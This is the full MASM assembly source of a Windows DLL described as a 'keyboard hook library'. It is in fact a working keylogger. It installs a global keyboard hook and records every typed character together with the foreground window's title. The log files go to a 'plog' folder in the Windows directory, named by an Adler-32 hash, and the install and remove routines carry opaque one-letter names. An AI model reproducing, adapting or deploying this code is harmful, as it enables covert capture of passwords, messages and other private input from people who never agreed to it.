; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------



; Keyboard hook library
;
; #########################################################################

      .386
      .model flat, stdcall
      option casemap :none   ; case sensitive

; ##########################################################################

      include ..\..\Inc\kernel32.inc
      include ..\..\Inc\windows.inc
      include ..\..\Inc\user32.inc

      includelib ..\..\Lib\user32.lib
      includelib ..\..\Lib\kernel32.lib

; ##########################################################################

        szText MACRO Name, Text:VARARG
          LOCAL lbl
            jmp lbl
              Name db Text,0
            lbl:
          ENDM

; ##########################################################################

.data?
        hInstance       dd      ?
        hHook           dd      ?
        lpWndName       db      1024 dup(?)
        lpKey           db      4 dup(?)
        lpKeys          db      256 dup(?)
        lpBuf1          db      1024 dup(?)

.code

include Adler32.asm

LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
        xor     eax, eax
        cmp     reason, 1
        jne     @F
        push    hInstDLL
        pop     hInstance
        mov     eax, 1
@@:
        ret
LibMain endp

; ##########################################################################

; Kbd hook callback
KeyHookProc proc uses esi nCode, wParam, lParam: DWORD
        LOCAL   hFile, bWritten: DWORD

        cmp     nCode, 0
        jge     @F
        invoke  CallNextHookEx, hHook, nCode, wParam, lParam
        ret
@@:
        mov     eax, lParam
        test    eax, (1 shl 30)
        jnz     @ret

        test    eax, (1 shl 24)
        jnz     @ret

        shr     eax, 16
        movzx   eax, ax
        push    eax
        invoke  GetKeyboardState, offset lpKeys
        pop     eax
        mov     byte ptr[lpKey], 0
        invoke  ToAscii, wParam, eax, offset lpKeys, offset lpKey, 0
        cmp     byte ptr[lpKey], 0
        jz      @ret
                
        invoke  GetForegroundWindow
        invoke  GetWindowText, eax, offset lpWndName, 1024

        mov     esi, offset lpWndName
        invoke  lstrlen, esi
        mov     ecx, eax
        mov     eax, 1
        invoke  Adler32

        szText  szCRLF, 13, 10
        szText  szFmt, "%lu.ilj"
        invoke  wsprintf, offset lpKeys, offset szFmt, eax

        invoke  GetWindowsDirectory, offset lpBuf1, MAX_PATH+1
        szText  szFmt2, "%s\plog\"
        invoke  wsprintf, offset lpBuf1, offset szFmt2, offset lpBuf1
        invoke  CreateDirectory, offset lpBuf1, NULL
        invoke  lstrcat, offset lpBuf1, offset lpKeys

        invoke  CreateFile, offset lpBuf1, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, 0, 0
        mov     hFile, eax
        inc     eax
        jz      @ret

        invoke  GetFileSize, hFile, 0
        test    eax, eax
        jnz     @F

        ; Write window name
        invoke  lstrcat, offset lpWndName, offset szCRLF
        invoke  lstrlen, offset lpWndName
        mov     edx, eax
        invoke  WriteFile, hFile, offset lpWndName, edx, addr bWritten, NULL

@@:
        invoke  SetFilePointer, hFile, 0, 0, FILE_END
        invoke  WriteFile, hFile, offset lpKey, 1, addr bWritten, NULL
        invoke  CloseHandle, hFile
        
@ret:
        xor     eax, eax
        ret
KeyHookProc endp

; Install hook
a proc
        invoke  SetWindowsHookEx, WH_KEYBOARD, offset KeyHookProc, hInstance, NULL
        mov     hHook, eax
        ret
a endp

; UnInstall hook
b proc
        invoke  UnhookWindowsHookEx, hHook
        ret
b endp

; ##########################################################################

end LibMain